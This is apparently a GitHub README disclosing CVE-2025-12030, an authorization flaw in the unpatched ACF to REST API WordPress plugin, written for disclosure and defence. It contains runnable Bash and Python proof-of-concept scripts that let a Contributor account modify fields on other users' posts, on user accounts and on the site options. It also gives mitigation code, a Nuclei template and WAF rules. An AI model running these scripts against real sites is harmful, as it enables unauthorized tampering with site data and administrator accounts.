Skip to content

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

Notifications You must be signed in to change notification settings

SnailSploit/CVE-2025-12030

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2025-12030: Insecure Direct Object Reference in ACF to REST API WordPress Plugin

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Keywords: CVE-2025-12030, ACF to REST API vulnerability, IDOR, WordPress security, authenticated exploit, WordPress plugin vulnerability, CWE-639, ACF field modification, authorization bypass, WordPress CVE 2025, Advanced Custom Fields, REST API security

Table of Contents

Overview

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the ACF to REST API WordPress Plugin that allows authenticated attackers with minimal privileges to modify ACF fields across the entire WordPress installation.

Discovered by: Kai Aizen (SnailSploit)
Published: January 6, 2026
CVSS Score: 4.3 (Medium)
CWE: CWE-639 - Authorization Bypass Through User-Controlled Key
Plugin: ACF to REST API
Plugin Slug: acf-to-rest-api
Attack Type: Insecure Direct Object Reference (IDOR)
Required Privileges: Contributor+ (Authenticated Attack)

Vulnerability Details

Description

The ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the update_item_permissions_check() method, which only verifies that the current user has the edit_posts capability without checking object-specific permissions (e.g., edit_post($id), edit_user($id), manage_options).

Impact

This vulnerability allows authenticated attackers with Contributor-level access and above to:

  • Modify ACF fields on posts they do not own - Bypass post ownership restrictions
  • Modify ACF fields on any user account - Including administrator accounts
  • Modify ACF fields on comments - Alter comment metadata
  • Modify ACF fields on taxonomy terms - Change category/tag custom fields
  • Modify the global options page - Access site-wide ACF options without manage_options capability

All modifications are possible via the /wp-json/acf/v3/{type}/{id} REST API endpoints.

Affected Versions

  • Vulnerable: All versions ≤ 3.3.4
  • Patched: ⚠️ No known patch available

CVSS v3.1 Metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Metric Value
Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

CVSS v3.1 Breakdown:

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over a network
  • Attack Complexity (AC): Low - No special conditions are required for exploitation
  • Privileges Required (PR): Low - Requires Contributor-level authentication
  • User Interaction (UI): None - The exploit works without any user interaction
  • Scope (S): Unchanged - The vulnerability only affects the vulnerable component
  • Confidentiality Impact (C): None - No information disclosure
  • Integrity Impact (I): Low - Unauthorized modification of ACF fields
  • Availability Impact (A): None - No availability impact

Technical Details

Vulnerability Root Cause

The vulnerability exists in the update_item_permissions_check() method which performs insufficient authorization:

// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

The proper implementation should check object-specific permissions:

// Secure implementation pattern
public function update_item_permissions_check( $request ) {
    $id = $request->get_param( 'id' );
    $type = $request->get_param( 'type' );
    
    switch ( $type ) {
        case 'post':
            return current_user_can( 'edit_post', $id );
        case 'user':
            return current_user_can( 'edit_user', $id );
        case 'option':
            return current_user_can( 'manage_options' );
        // ... other object types
    }
    return false;
}

Vulnerable Endpoints

Endpoint Target Required Capability (Should Be)
/wp-json/acf/v3/posts/{id} Posts edit_post($id)
/wp-json/acf/v3/pages/{id} Pages edit_page($id)
/wp-json/acf/v3/users/{id} Users edit_user($id)
/wp-json/acf/v3/comments/{id} Comments edit_comment($id)
/wp-json/acf/v3/terms/{taxonomy}/{id} Terms edit_term($id)
/wp-json/acf/v3/options/{option} Options manage_options

Attack Vector

PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.

Proof of Concept

⚠️ For Educational and Authorized Testing Purposes Only

Bash PoC

#!/bin/bash
# CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1"
USERNAME="$2"
APP_PASSWORD="$3"
TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then
    echo "Usage: $0 <target_url> <username> <app_password> <post_id>"
    echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42"
    exit 1
fi

echo "[*] CVE-2025-12030 - ACF to REST API IDOR PoC"
echo "[*] Target: $TARGET_URL"
echo "[*] Target Post ID: $TARGET_POST_ID"
echo ""

# Encode credentials
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

# Step 1: Read current ACF fields (verify access)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
  -H "Authorization: Basic $AUTH" \
  | python3 -m json.tool

echo ""

# Step 2: Attempt to modify ACF fields on post we don't own
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID" \
  -H "Authorization: Basic $AUTH" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo ""
if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then
    echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!"
else
    echo "[+] Not vulnerable or modification failed"
fi

Python PoC

#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

Remediation

For Site Administrators

Immediate Action Required:

⚠️ No official patch is currently available for this vulnerability.

  1. Consider uninstalling the plugin if ACF REST API functionality is not critical
  2. Restrict user registrations and review existing Contributor+ accounts
  3. Implement WAF rules to block unauthorized REST API modifications
  4. Monitor REST API activity for suspicious ACF field modifications
  5. Consider alternative plugins with proper authorization controls

Temporary Mitigations

Option 1: Disable REST API Endpoints via Code

Add to your theme's functions.php or a custom plugin:

<?php
/**
 * Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
 */
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
    // Only allow administrators to modify via REST API
    if (!current_user_can('manage_options')) {
        return new WP_Error(
            'rest_forbidden',
            __('You do not have permission to modify ACF fields via REST API.'),
            array('status' => 403)
        );
    }
    return $permission;
}, 10, 3);

Option 2: Restrict via .htaccess

# Block ACF REST API modification endpoints for non-admins
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$
    RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC]
    RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC]
    RewriteRule .* - [F,L]
</IfModule>

Option 3: Nginx Configuration

# Block ACF REST API modification requests
location ~* ^/wp-json/acf/v3/ {
    if ($request_method ~* "(PUT|POST|PATCH)") {
        # Implement proper authorization check or block entirely
        return 403;
    }
    try_files $uri $uri/ /index.php?$args;
}

For Plugin Developers

If forking or patching the plugin, implement proper object-specific authorization:

<?php
/**
 * Secure implementation of update_item_permissions_check
 */
public function update_item_permissions_check( $request ) {
    $id = $request->get_param( 'id' );
    $type = $this->get_object_type( $request );
    
    switch ( $type ) {
        case 'post':
        case 'page':
            // Check if user can edit THIS specific post
            if ( ! current_user_can( 'edit_post', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this post.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'user':
            // Check if user can edit THIS specific user
            if ( ! current_user_can( 'edit_user', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this user.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'option':
            // Options require manage_options capability
            if ( ! current_user_can( 'manage_options' ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to manage options.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'term':
            $taxonomy = $request->get_param( 'taxonomy' );
            $tax_obj = get_taxonomy( $taxonomy );
            if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit terms.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        case 'comment':
            if ( ! current_user_can( 'edit_comment', $id ) ) {
                return new WP_Error(
                    'rest_cannot_edit',
                    __( 'Sorry, you are not allowed to edit this comment.' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
            break;
            
        default:
            return new WP_Error(
                'rest_invalid_type',
                __( 'Invalid object type.' ),
                array( 'status' => 400 )
            );
    }
    
    return true;
}

Detection

Log Analysis

Search for suspicious REST API activity:

# Search access logs for ACF REST API modification attempts
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log
grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log

WordPress Plugin Check

# Check if vulnerable version is installed
wp plugin list | grep -i "acf-to-rest-api"

# Get plugin version
wp plugin get acf-to-rest-api --field=version

Security Scanner Rules

Nuclei Template:

id: CVE-2025-12030

info:
  name: ACF to REST API - IDOR ACF Field Modification
  author: SnailSploit
  severity: medium
  description: ACF to REST API plugin for WordPress is vulnerable to IDOR
  reference:
    - https://github.com/SnailSploit/CVE-2025-12030
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification
  tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated

http:
  - raw:
      - |
        POST /wp-json/acf/v3/posts/1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json
        
        {"fields":{"nuclei_test":"CVE-2025-12030"}}
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "acf"
        condition: or
      
      - type: status
        status:
          - 200

Web Application Firewall Rules

ModSecurity Rule:

# CVE-2025-12030 - Block unauthorized ACF REST API modifications
SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \
    "id:2025012030,\
    phase:2,\
    t:none,t:urlDecodeUni,t:normalizePathWin,\
    chain,\
    deny,\
    status:403,\
    log,\
    msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'"
    SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none"

Timeline

  • January 6, 2026 - Vulnerability publicly disclosed
  • January 6, 2026 - CVE-2025-12030 assigned
  • Current - ⚠️ No patch available

References

Credits

Researcher:

Disclosure Process: Coordinated through Wordfence Bug Bounty Program

Disclaimer

This information is provided for security research and defensive purposes only. Any exploitation of this vulnerability for malicious purposes is illegal and unethical. Always obtain proper authorization before testing systems you do not own.

Contact

For questions or additional information about this vulnerability:


Last updated: January 6, 2026

About

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Security flaw allowing authenticated users with Contributor-level access to modify ACF fields on objects they do not own.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published